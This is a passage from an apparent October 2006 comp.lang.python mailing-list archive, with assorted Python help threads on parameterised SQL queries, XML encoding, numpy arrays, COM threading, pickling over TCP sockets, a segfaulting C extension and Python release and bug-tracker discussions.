>     return opener.open(url)
>   File "C:\Python25\lib\urllib.py", line 190, in open
>     return getattr(self, name)(url)
>   File "C:\Python25\lib\urllib.py", line 325, in open_http
>     h.endheaders()
>   File "C:\Python25\lib\httplib.py", line 856, in endheaders
>     self._send_output()
>   File "C:\Python25\lib\httplib.py", line 728, in _send_output
>     self.send(msg)
>   File "C:\Python25\lib\httplib.py", line 695, in send
>     self.connect()
>   File "C:\Python25\lib\httplib.py", line 679, in connect
>     raise socket.error, msg
> IOError: [Errno socket error] (10060, 'Operation timed out')
>
> I'm behind my company's firewall. Would that cause a problem? If it
> does, How do I get around it?



From DonQuixoteVonLaMancha at gmx.net  Sun Oct  8 14:59:24 2006
From: DonQuixoteVonLaMancha at gmx.net (Karsten W.)
Date: 8 Oct 2006 11:59:24 -0700
Subject: recommendations for personal journaling application
In-Reply-To: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>
References: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>
Message-ID: <1160333964.676088.60430@e3g2000cwe.googlegroups.com>

Hi!

Donnie Rhodes wrote:
> So what I'm interested in is how this would work. Is this 'event
> driven' in nature? Would I define the bulk of these slash commands in a
> function and then call it at the end of the script? What would be a
> good module to look at for the text processing and searching aspects?

For implementing the commandline interface, have a look at the getopt
module.

If you store your data in a flat text file, you might use string.find()
or the re module to do the searching. The re module can search case
insensitive and is more versatile.

But maybe you want let your script create some SQL statements and use
the pysqlite module to store and search the data.

Kind regards,
Karsten.



From kareta at web.de  Tue Oct 24 06:48:46 2006
From: kareta at web.de (Juergen Kareta)
Date: Tue, 24 Oct 2006 12:48:46 +0200
Subject: numpy error
In-Reply-To: <mailman.1028.1161648353.11739.python-list@python.org>
References: <4q4eggFl1prqU1@individual.net>
	<mailman.1028.1161648353.11739.python-list@python.org>
Message-ID: <4q69h3FlltnhU1@individual.net>


> Or install the numpy-1.0rc2 binary which is now again available on 
> sourceforge.

Hello Travis,

thanks for your help. Going back to the 1.0rc2 release was successful. 
Ok, I had also to copy wxmsw26uh_vc.dll to my path and get around 
wx.PrindData.SetPrinterCommand, but that's because I run wxpython 
2.7.1.2. Since it's really fresh it'll take a little time to adapt in 
all third parties.

J?rgen


From fredrik at pythonware.com  Mon Oct  9 05:10:39 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 11:10:39 +0200
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org><Xns985378283690Dduncanbooth@127.0.0.1><mailman.1442.1160128745.10491.python-list@python.org><Xns98547173763B6duncanbooth@127.0.0.1><egci8i$43p$1@lust.ihug.co.nz><Xns985755C711158duncanbooth@127.0.0.1>
	<egd0hd$u3r$1@lust.ihug.co.nz>
Message-ID: <egd3mf$j39$1@sea.gmane.org>

Lawrence D'Oliveiro wrote:

> Secondly, it's less convenient for cases where a dynamic query is being
> built. I previously gave the SQLStringList example. If that's not enough,
> here's another (simple) one:
>
> Conditions = []
> if Name != None :
>    Conditions.append("name = %s" % SQLString(Name))
> #end if
> if Address != None :
>    Conditions.append("address = %s" % SQLString(Address))
> #end if
> if PhoneNr != None :
>    Conditions.append("phone_nr = %s" % SQLString(PhoneNr))
> #end if
> Query = "select * from table"
> if len(Conditions) != 0 :
>    Query += " where " + " and ".join(Conditions)
> #end if

now that's some remarkably ugly Python code.  it's well-known that people can
write Fortran in all languages, but writing Visual Basic in Python?  (shudder)

here's a straight-forward and more efficient translation of that code:

    where = []; params = []
    if name is not None:
        where.append("name=?"); params.append(name)
    if address is not None:
        where.append("address=?"); params.append(address)
    if phone_nr is not None:
        where.append("phone_nr=?"); params.append(phone_nr)
    query = "select * from table"
    if where:
        query += " where " + " and ".join(where)
    cursor.execute(query, tuple(params))

which works for all data types and without any error-prone explicit quotation non-
sense, and which can be trivially refactored into

    where = []; params = []
    def append(column, value):
        if value is not None:
            where.append(column+"=?"); params.append(value)

    append("name", name)
    append("address", address)
    append("phone_nr", phone_nr)

    query = "select * from table"
    if where:
        query += " where %s " + " and ".join(where)

    cursor.execute(query, tuple(params))

which scales a lot better if when you're adding more fields, and which can be trivially
refactored into a full statement builder:

    def select(table, **kw):
        where = []; params = []
        for column, value in kw.items():
            if value is not None:
                where.append(column+"=?")
                params.append(value)
        query = "select * from " + table
        if where:
            query += " where " + " and ".join(where)
        return query, tuple(params)

    cursor.execute(*select("table", name=name, address=address, phone_nr=phone_nr))

where the "select" function can of course be put in a support library and reused every-
where you make simple selects; alternatively, you can wrap the whole thing into a some-
thing like

     class where_statement:
        def __init__(self, db):
            self.where = []
            self.params = []
            if db.paramstyle == "qmark":
                self.marker = "?"
            if db.paramstyle == "format":
                self.marker = "%s"
            else:
                raise NotImplementedError(
                    "unsupported parameter style: %r" % db.paramstyle
                    )
        def __setitem__(self, column, value):
            if value is not None:
                self.where.append(column+"="+self.marker)
                self.params.append(value)
        def __str__(self):
            if not self.where:
                return ""
            return " where " + " and ".join(self.where)
        def __iter__(self):
            return iter(self.params)

    where = where_statement(database)
    where["name"] = name
    where["address"] = address
    where["phone_nr"] = phone_nr
    cursor.execute("select * from table" + str(where), tuple(where))

which actually protests if you run it on a database that doesn't use the same para-
meter markers, and can be trivially extended to support more DB-API variants.

or, of course, refactored into something that's even easier to use for the actual
use cases.

this is Python, after all, and as we all know, "the joy of coding Python should be
in seeing short, concise, readable classes that express a lot of action in a small
amount of clear code - not in reams of trivial code that bores the reader to death".

</F> 





From martin at v.loewis.de  Wed Oct  4 16:50:18 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 22:50:18 +0200
Subject: How to ask sax for the file encoding
In-Reply-To: <dROUg.62$iP5.51@newsfe07.lga>
References: <dROUg.62$iP5.51@newsfe07.lga>
Message-ID: <45241E8A.8030103@v.loewis.de>

Edward K. Ream schrieb:
> Can anyone tell me how the content handler can determine the encoding of the 
> file?  Can sax provide this info?

That's not supported in SAX. If you use Expat directly (module pyexpat),
you can set the XmlDeclHandler, which is called when the XML declaration
is received (with the parameters version, encoding, and standalone).
However, as the XML declaration is optional, this callback might
not get invoked.

Regards,
Martin


From mesmith.15507218 at bloglines.com  Fri Oct 20 17:38:28 2006
From: mesmith.15507218 at bloglines.com (Mark)
Date: Fri, 20 Oct 2006 16:38:28 -0500
Subject: Using cElementTree and elementtree.ElementInclude
Message-ID: <453941D4.1000909@bloglines.com>

I have an elementtree created with cElementTree. I then use 
ElementInclude to resolve some xinclude elements. But then I want to 
move those included elements to be children of the root

root.append(included_child)

but I get an error message

TypeError: 'append() argument 1 must be Element, not instance'


The type of included_child is 'instance'. The type of the cElementTree 
children is 'Element'. How do I resolve this conflict? I am using 
cElementTree version 1.0.3 and elementtree version 1.2.6 and python 
version 2.3.4. Will later versions correct the problem?

Thanks,
Mark


From steve at holdenweb.com  Mon Oct 23 14:57:57 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 19:57:57 +0100
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
In-Reply-To: <1161628929.144303.173130@f16g2000cwb.googlegroups.com>
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>	<ehioo2$fef$1@sea.gmane.org>	<mailman.987.1161619843.11739.python-list@python.org>
	<1161628929.144303.173130@f16g2000cwb.googlegroups.com>
Message-ID: <ehj39l$uo2$1@sea.gmane.org>

Paul Boddie wrote:
> Steve Holden wrote:
> 
>>Fredrik Lundh wrote:
>>
>>>M?ta-MCI wrote:
>>>
>>>
>>>>For the professional developments, it is a major risk.
> 
> 
> I'll cut in here and mention that it's a risk that can be managed
> through various well understood methods of deployment. For me, Python
> 2.4 is going to be good enough until (and even beyond) the time I can
> be bothered to either upgrade my distribution's packages or to upgrade
> my distribution and get the packages for Python 2.5. At which point,
> I'll just need to select the pinnacles of my package tower; then I can
> hopefully just press the button and have everything working on Python
> 2.5.
> 
> Generally, package developers shouldn't be "aggressively" using the
> absolute latest and greatest version's features, and if you're pursuing
> "professional developments" you might want to keep using the mature
> releases of Python whilst letting other developers know that adoption
> of their stuff will be limited if they make it part of a rapidly moving
> target. Sure, I can imagine that people are desperate to use the "with"
> statement all over the place, but maintainers of widely used (or
> "professional") stuff have to exercise some conservatism - otherwise
> someone has to start forking and backporting their changes.
> 
> 
>>>some days, I ask myself why I shouldn't just use GPL for everything I
>>>do, and ship it as source code only.
>>>
>>
>>To which I presume the answer is that you are considerate of Windows
>>users who'd rather not compile their own Windows applications due to the
>>cost of using the commercial compilers and the complexity of using the
>>open source ones.
> 
> 
> Well, there's a commercial service you could offer, Steve. ;-)
> 
You think people would pay?
> 
>>Whatever the reasons, a vote of thanks to all extension authors who *do*
>>bother to compile for Windows (despite complaints from others who don't
>>feel this happens quickly enough).
> 
> 
> This happens every time a new release of Python comes out: people want
> to play with the new features, but they experience a period of
> frustration because their favourite packages aren't available. I'd
> advise people to download the installer, get their fill of the new
> features for a few minutes, then schedule another look in a few weeks.
> Or they can start paying people to make it all happen "yesterday", of
> course.
> 
If there's evidence of demand this *is* something I'd consider doing.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bjourne at gmail.com  Fri Oct 20 17:51:58 2006
From: bjourne at gmail.com (=?ISO-8859-1?Q?BJ=F6rn_Lindqvist?=)
Date: Fri, 20 Oct 2006 23:51:58 +0200
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for
	Python development
In-Reply-To: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
References: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
Message-ID: <740c3aec0610201451m3078d4edme680032d9c86d603@mail.gmail.com>

On 10/20/06, Brett Cannon <brett at python.org> wrote:
> At the beginning of the month the PSF Infrastructure committee announced
> that we had reached the decision that JIRA was our recommendation for the
> next issue tracker for Python development.  Realizing, though, that it was a
> tough call between JIRA and Roundup we said that we would be willing to
> switch our recommendation to Roundup if enough volunteers stepped forward to
> help administer the tracker, thus negating Atlassian's offer of free managed
> hosting.
>
> Well, the community stepped up to the challenge and we got plenty of
> volunteers!  In fact, the call for volunteers has led to an offer for
> professional hosting for Roundup from Upfront Systems.  The committee is

Good times! Mind telling us exactly how many volunteers have stepped
forward? It may be an interesting statistic for how big interest there
is in the "freeness" of software.

-- 
mvh Bj?rn


From kelong_2000 at yahoo.com  Sun Oct 22 00:18:04 2006
From: kelong_2000 at yahoo.com (Kenneth Long)
Date: Sat, 21 Oct 2006 21:18:04 -0700 (PDT)
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
Message-ID: <20061022041804.47273.qmail@web51102.mail.yahoo.com>


> 	Okay if one builds such from sources... but us poor
> Windows flunkies
> without a build environment have to wait for some
> kindly soul to build
> the installer compatible with the new Python
> version.
> 
especially since I havent got MS visual studio...
and mingw is not supported... :-(

hello

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


From paul at boddie.org.uk  Wed Oct  4 08:11:23 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 4 Oct 2006 05:11:23 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
	<slrnei6v3l.96l.nick@irishsea.home.craig-wood.com>
	<45238b15$0$27309$afc38c87@news.optusnet.com.au>
Message-ID: <1159963882.972278.56370@m73g2000cwd.googlegroups.com>

Richard Jones wrote:
> Nick Craig-Wood wrote:
> >
> > Trac is really good in my experience.
>
> Trac was considered.
>
> > A nice extra is that it is written in python.
>
> So are Roundup and Launchpad, two of the other three trackers considered.

It should be noted that most skepticism (that I'm aware of) about
Launchpad is typically rooted in that service's closed source nature.
People voicing such skepticism don't seem to cut it any slack just
because it is apparently written in Python.

Paul



From tejovathi.p at gmail.com  Fri Oct 13 00:33:19 2006
From: tejovathi.p at gmail.com (Teja)
Date: 12 Oct 2006 21:33:19 -0700
Subject: COM and Threads
In-Reply-To: <8qEXg.27287$Go3.15608@dukeread05>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<zkCXg.27279$Go3.12012@dukeread05>
	<1160710172.060054.56400@e3g2000cwe.googlegroups.com>
	<8qEXg.27287$Go3.15608@dukeread05>
Message-ID: <1160713999.135433.234750@b28g2000cwb.googlegroups.com>


hg wrote:

> Teja wrote:
> > hg wrote:
> >
> >> Teja wrote:
> >>> I have an application which uses COM 's Dispatch to create a COM based
> >>> object. Now I need to upgrade the application to a threaded one. But
> >>> its giving an error that COM and threads wont go together. Specifically
> >>> its an attribute error at the point where COM object is invoked. Any
> >>> pointers please??????
> >>>
> >> If COM is not thread safe, then use processes
> >
> > Thanks a LOT for your reply...... Can u please tell me how to
> > processes......
> >
>
> I gather pywin32 gives you the trick to do it (CreateProcess ?) as I
> gather "fork"ing is not available under Windows.

Hg, This is the scenario..

I create a COM object in main. I need to access that object in a thread
or subprocess or whatever. Can u pls tell me how to do it. Its a COM
object.

Thnks



From fredrik at pythonware.com  Wed Oct 11 18:12:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 00:12:38 +0200
Subject: python 2.5 & sqlite3
In-Reply-To: <egjppl$nab$1@sea.gmane.org>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>	<mailman.337.1160600574.11739.python-list@python.org>	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>
	<egjppl$nab$1@sea.gmane.org>
Message-ID: <egjq8n$p5l$1@sea.gmane.org>


>  > Either way I need to know where to put the sqlite files, right?
> 
> not if you're using a proper release, no.

the easiest way to unbreak your ActiveState installation is probably to 
install the python.org version, and copy

     c:\Python25\DLLs\_sqlite3.pyd

and

     c:\Python25\DLLs\sqlite3.dll

to the corresponding location in the other installation.

</F>



From horpner at yahoo.com  Wed Oct  4 15:01:09 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 4 Oct 2006 21:01:09 +0200
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
	<slrnei7sc2.fs.horpner@FIAD06.norwich.edu>
	<3zSUg.25440$DU3.23095@tornado.texas.rr.com>
Message-ID: <slrnei8189.1hg.horpner@FIAD06.norwich.edu>

On 2006-10-04, Paul McGuire <ptmcg at austin.rr._bogus_.com> wrote:
> "Neil Cerutti" <horpner at yahoo.com> wrote in message 
> news:slrnei7sc2.fs.horpner at FIAD06.norwich.edu...
>
>> Look at the code again. It's not testing what it says it's
>> testing.
>
> It isnt?
>
> The only quibble I can see is that there really is no "first"
> element in a set.  I picked the "0 in set" and "0 in list" to
> pick the fastest case for list, which does a linear search
> through the list elements.
>
> Where did I go wrong on the test descriptions?

It seems to be timing "testing for membership", not "random
access". Random access is just seq[n]; at least, that's the
assumption I made.

Perhaps I read the test description out of context and got
confused.

-- 
Neil Cerutti
8 new choir robes are currently needed, due to the addition of
several new members and to the deterioration of some of the
older ones. --Church Bulletin Blooper 


From steve at holdenweb.com  Thu Oct 12 23:08:32 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 13 Oct 2006 04:08:32 +0100
Subject: Sending binary pickled data through TCP
In-Reply-To: <452EEEF1.6030606@ilm.com>
References: <452EEEF1.6030606@ilm.com>
Message-ID: <egmvtl$b0b$1@sea.gmane.org>

David Hirschfield wrote:
> I have a pair of programs which trade python data back and forth by 
> pickling up lists of objects on one side (using 
> pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket 
> connection to the receiver, who unpickles the data and uses it.
> 
> So far this has been working fine, but I now need a way of separating 
> multiple chunks of pickled binary data in the stream being sent back and 
> forth.
> 
> Questions:
> 
> Is it safe to do what I'm doing? I didn't think there was anything 
> fundamentally wrong with sending binary pickled data, especially in the 
> closed, safe environment these programs operate under...but maybe I'm 
> making a poor assumption?
> 
If there's no chance of malevolent attackers modifying the data stream 
then you can safely ignore the otherwise dire consequences of unpickling 
arbitrary chunks of data.

> I was going to separate the chunks of pickled data with some well-formed 
> string, but couldn't that string potentially randomly appear in the 
> pickled data? Do I just pick an extremely 
> unlikely-to-be-randomly-generated string as the separator? Is there some 
> string that will definitely NEVER show up in pickled binary data?
> 
I presumed each chunk was of a know structure. Couldn't you just lead of 
with a pickled integer saying how many chunks follow?

> I thought about base64 encoding the data, and then decoding on the 
> opposite side (like what xmlrpclib does), but that turns out to be a 
> very expensive operation, which I want to avoid, speed is of the essence 
> in this situation.
> 
Yes, base64 stuffs three bytes into four (six bits per byte) giving you 
a 33% overhead. Having said that, pickle isn't all that efficient a 
representation because it's designed to be portable. If you are using 
machines of the same type there are almost certainly faster binary 
encodings.

> Is there a reliable way to determine the byte count of some pickled 
> binary data? Can I rely on len(<pickled data>) == bytes?
> 
Yes, since pickle returns a string of bytes, not a Unicode object.

If bandwidth really is becoming a limitation you might want to consider 
uses of the struct module to represent things more compactly (but this 
may be too difficult if the objects being exchanged are at all complex).

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From __peter__ at web.de  Thu Oct 12 09:32:25 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 12 Oct 2006 15:32:25 +0200
Subject: Assigning different Exception message
References: <Xns985A9A0445978toreriknpolarno@129.242.5.222>
Message-ID: <eglg1e$dau$02$1@news.t-online.com>

Tor Erik Soenvisen wrote:

>         try:
>             self.cursor.execute(sql)
>         except AttributeError, e:
>             if e.message == "oracleDB instance has no attribute 'cursor'":
>                 e.message = 'oracleDB.open() must be called before' + \
>                             ' oracleDB.query()'
>             raise AttributeError, e
> 
> This code does not re-assign e's message when the conditional is
> satisfied. Why not?

It does, but e.args is used to generate the message shown:

>>> try:
...     None.not_there
... except AttributeError, e:
...     e.args = ("whatever",)
...     raise e
...
Traceback (most recent call last):
  File "<stdin>", line 5, in <module>
AttributeError: whatever

However, I would prefer to rewrite your snippet along the lines:

try:
    cursor = self.cursor
except AttributeError:
    raise EriksCustomError("oracleDB.open()...")
else:
    cursor.execute(sql)

Peter



From Roka100 at gmail.com  Tue Oct  3 00:24:15 2006
From: Roka100 at gmail.com (Jia,Lu)
Date: 2 Oct 2006 21:24:15 -0700
Subject: [Q]An error with my module in C
Message-ID: <1159849454.995535.67160@i42g2000cwa.googlegroups.com>

hello,all.

  I wrote a module in C as below, BUT msg() method cannot work
allright.

#include <stdio.h>
#include <python2.4/Python.h>

static PyObject *Roka_msg(PyObject *self,PyObject *args)
{
	printf("Roka Python lib. Version 1.0\n");
}

static PyObject *Roka_func(PyObject *self,PyObject *args)
{
	long arg;
	if(!PyArg_ParseTuple(args,"l",&arg)){
		return NULL;
	}
	return Py_BuildValue("l",arg*2);
}

//----------------------------------------------------------

static struct PyMethodDef functions[]=
{
	{"msg",Roka_msg,METH_VARARGS},
	{"func",Roka_func,METH_VARARGS},
	{NULL,NULL,0},
};


void initRoka(void)
{
	(void)Py_InitModule("Roka",functions);
}
-------------------------------------------------------------------------
python result:
>>>import Roka
>>>Roka.msg()
Roka Python lib. Version 1.0
Segmentation fault

I throw out a Segmentation fault after display my message.
Can anyone tell me why?

thanks.



From jorge.vargas at gmail.com  Sun Oct 22 10:33:04 2006
From: jorge.vargas at gmail.com (Jorge Vargas)
Date: Sun, 22 Oct 2006 10:33:04 -0400
Subject: implementation of "in" that returns the object.
Message-ID: <32822fe60610220733x315dbde4x3ebe5ebd20c31d0b@mail.gmail.com>

Hi

I need to check if an object is in a list AND keep a reference to the
object I have done it this way but is there a better one?

>>> def inplusplus(value,listObj):
...     for i in listObj:
...             if i is value:
...                     return value
...     return False
...
>>> l = [1,2,3,4]
>>> print inplusplus(2,l)
2
>>> print inplusplus(9,l)
False
>>> print inplusplus(1,l)
1
>>> l.append(0)
>>> print inplusplus(0,l)
0


From steve at holdenweb.com  Mon Oct  9 04:36:40 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 09 Oct 2006 09:36:40 +0100
Subject: CGI Tutorial
In-Reply-To: <egd0pp$u3r$3@lust.ihug.co.nz>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>	<1160071257.200774.90900@e3g2000cwe.googlegroups.com>	<mailman.1374.1160073684.10491.python-list@python.org>	<egcghv$viv$3@lust.ihug.co.nz>	<mailman.98.1160379324.11739.python-list@python.org>
	<egd0pp$u3r$3@lust.ihug.co.nz>
Message-ID: <egd1l3$cbv$1@sea.gmane.org>

Lawrence D'Oliveiro wrote:
> In message <mailman.98.1160379324.11739.python-list at python.org>, Steve
> Holden wrote:
> 
> 
>>Lawrence D'Oliveiro wrote:
>>
>>>In message <mailman.1374.1160073684.10491.python-list at python.org>, Steve
>>>Holden wrote:
>>>
>>>
>>>
>>>>Credit card numbers should be encrypted in the database, of course, but
>>>>they rarely are (even by companies whose reputations imply they ought to
>>>>know better).
>>>
>>>How would encryption help? They'd still have to be decrypted to be used.
>>
>>Indeed they would, but with proper key management the probability that
>>they can be stolen from a database in their plaintext form is rather
>>lower. Just last week a police employee in my class told us of an
>>exploit where a major credit card copmany's web site had been hacked
>>using a SQL injection vulnerability. This is usually done with the
>>intent of gaining access to credit card data.
> 
> 
> If they can do that, it doesn't seem much of a step to compromise the code
> that decrypts the credit card data, as well. Keeping it encrypted, when the
> key needs to be kept at the same (in)security level, is just
> security-through-obscurity.

It depends on what level of compromise they obtain through SQL 
injection. It does represent a significant additional burden on 
attackers before sensitive data becomes known. Clearly if someone mounts 
a successful privilege escalation attack then potentially everything on 
the system is compromised.

Note further, by the way, that credit card numbers need not necessarily 
be decrypted to be used: if you are the credit card processor (rather 
than a merchant requiring payment) then you can instead encrypt the card 
number provided by the user and use that as your database key.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From newsuser at stacom-software.de  Tue Oct 17 09:50:47 2006
From: newsuser at stacom-software.de (Alexander Eisenhuth)
Date: Tue, 17 Oct 2006 15:50:47 +0200
Subject: Looking for assignement operator
Message-ID: <eh2n08$4ji$1@online.de>

Hello,

is there a assignement operator, that i can overwrite?

class MyInt:
	def __init__(self, val):
		assert(isinstance(val, int))
		self._val = val

a = MyInt(10)

# Here i need to overwrite the assignement operator
a = 12


Thanks
Alexander


From fredrik at pythonware.com  Tue Oct  3 16:02:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 22:02:57 +0200
Subject: Looping over a list question
In-Reply-To: <1159905151.490262.260000@h48g2000cwc.googlegroups.com>
References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>	<mailman.1190.1159901843.10491.python-list@python.org>
	<1159905151.490262.260000@h48g2000cwc.googlegroups.com>
Message-ID: <efuflh$btn$1@sea.gmane.org>

stephen at theboulets.net wrote:

> My "print" line is actually a long 40 line block.

and?  if your editor isn't horribly broken, that shouldn't be much
of a problem.

(but you may want to refactor the code; if you have a processing
block that large, it's probably better to move all or parts of it
into a support function).

</F>



From fdu.xiaojf at gmail.com  Mon Oct 16 01:25:07 2006
From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com)
Date: Mon, 16 Oct 2006 13:25:07 +0800
Subject: How to send E-mail without an external SMTP server ?
Message-ID: <453317B3.8080104@gmail.com>

Hi,

I just want to send a very simple email from within python.

I think the standard module of smtpd in python can do this, but I 
haven't found documents about how to use it after googleing. Are there 
any examples of using smtpd ? I'm not an expert,so I need some examples 
to learn how to use it.

Or maybe there is a better way to to this?

Thanks.

xiaojf





From tshepang at gmail.com  Sun Oct 15 06:43:18 2006
From: tshepang at gmail.com (Tshepang Lekhonkhobe)
Date: Sun, 15 Oct 2006 12:43:18 +0200
Subject: where is Python tutorial?
Message-ID: <857993970610150343n3c10c0a3pee0f9f7b9fa83c43@mail.gmail.com>

Hi,
I looked in the packages list and couldn't find the tutorial and was
wondering if it was removed from the archive. Was it?


From martin at v.loewis.de  Thu Oct 12 15:18:51 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 12 Oct 2006 21:18:51 +0200
Subject: Compile python on Solaris 64bit
In-Reply-To: <mailman.383.1160664380.11739.python-list@python.org>
References: <mailman.383.1160664380.11739.python-list@python.org>
Message-ID: <452e951b$0$6364$9b622d9e@news.freenet.de>

Martijn de Munnik schrieb:
> anybody succesfully compiled python on solaris?

If that's really all you want to know: yes, I did.
It works for me on 32-bit SPARC, and 64-bit SPARC.

If you want to know more, you have to be *a lot*
more precise as to what precisely you are trying
to achieve, and how precisely it fails.

E.g.
- what Python version?
- what compiler? If gcc, what precise release?
- are you attempting to produce 32-bit binaries
  or 64-bit binaries?


Regards,
Martin


From fredrik at pythonware.com  Mon Oct 23 06:05:20 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 12:05:20 +0200
Subject: is it a bug ?
In-Reply-To: <ehi25q$72d$1@trompette.imag.fr>
References: <ehhvqa$48r$1@trompette.imag.fr>	<mailman.966.1161594940.11739.python-list@python.org>
	<ehi25q$72d$1@trompette.imag.fr>
Message-ID: <ehi450$of0$1@sea.gmane.org>

Sylvain Ferriol wrote:

> i just want a class variable named 'eq'

so why are you assigning another class' descriptor to it?  descriptors 
are bound to types, and only works properly if used with the type they 
were created for.

> why i can not create some class variables like this ?
 >
> class toto(object):
>    a= float.__eq__
>    b= str.__eq__

but given that "toto" is neither a float nor a str, what do you expect 
that code to *do*?

is this some "programming by random mutation" exercise?

</F>



From fredrik at pythonware.com  Sun Oct  8 14:46:24 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 20:46:24 +0200
Subject: references and buffer()
In-Reply-To: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
Message-ID: <egbh20$o6q$2@sea.gmane.org>

km wrote:
> 
> Hi all,
> 
> was looking at references  in python...
>  >>> a = 10
>  >>> b = a
>  >>> id(a)
> 153918788
>  >>>id(b)
> 153918788
> 
> where a and b point to the same id. now is this id an address ?

no, it's the object identity, and all it tells you is that both names 
point to the same object.

> can one dereference a value based on address alone in python?

no.

> is id similar to the address of a variable or a class ?

in the CPython implementation, it's the address where the object is 
stored.  but that's an implementation detail.

</F>



From oliphant.travis at ieee.org  Tue Oct 31 07:48:25 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Tue, 31 Oct 2006 05:48:25 -0700
Subject: concatenating numpy arrays
In-Reply-To: <45473c28$1@news.fhg.de>
References: <45473c28$1@news.fhg.de>
Message-ID: <ei7gj5$i3a$1@sea.gmane.org>

Rolf Wester wrote:
> Hi,
> 
> I want to concatenate two numpy arrays with shape (n1,n2) and (n1,n3) 
> into a single array with shape (n1,n2+n3). I guess there is an elegant 
> way to do this but I couldn't figure it out. So any help is very much 
> appreciated.
> 

Suppose a1.shape is (n1,n2)
and a2.shape is (n1,n3)

Then you want to do

a3 = concatenate((a1,a2),axis=1)

or equivalently

a3 = hstack([a1,a2])

a3 = r_['1',a1,a2]


-Travis





From beliavsky at aol.com  Mon Oct 16 08:29:23 2006
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 16 Oct 2006 05:29:23 -0700
Subject: EXCITING OPPORTUNITY FOR EXPERIENCED APPLICATION DEVELOPERS
	(PYTHON)
References: <1160995149.842439.317990@m7g2000cwm.googlegroups.com>
Message-ID: <1161001763.832804.277880@f16g2000cwb.googlegroups.com>

If the company is so good, why does it hire recruiters like you?

It is rude to SHOUT your subject in all caps.

Your subject conveys nothing more than "Python job offered".

You should have mentioned in the subject that the job is in Hyderabad,
because even most readers of this group looking for jobs are probably
unwilling to relocate there, and thus they could skip the rest of the
message.



From gerold.penz at tirol.utanet.at  Thu Oct  5 02:41:03 2006
From: gerold.penz at tirol.utanet.at (Gerold Penz)
Date: Thu, 05 Oct 2006 08:41:03 +0200
Subject: CGI Tutorial
In-Reply-To: <1159990808.443737.85880@i3g2000cwc.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1159990808.443737.85880@i3g2000cwc.googlegroups.com>
Message-ID: <eg29du$2cl$1@newsreader2.utanet.at>

Clodoaldo Pinto Neto schrieb:
> 
> http://webpython.codepoint.net
> 

Great tutorial -- Thanks a lot!!!

:D

-- 
________________________________________________________________________
Gerold Penz - bcom - Programmierung
     gerold.penz at tirol.utanet.at | http://gerold.bcom.at | http://sw3.at
Ehrliche, herzliche Begeisterung ist einer der
     wirksamsten Erfolgsfaktoren. Dale Carnegie


From jcoleman at franciscan.edu  Wed Oct 25 15:35:34 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 25 Oct 2006 12:35:34 -0700
Subject: question about True values
In-Reply-To: <7xvem8gq22.fsf@ruckus.brouhaha.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
Message-ID: <1161804934.010376.151330@f16g2000cwb.googlegroups.com>


Paul Rubin wrote:
> "John Coleman" <jcoleman at franciscan.edu> writes:
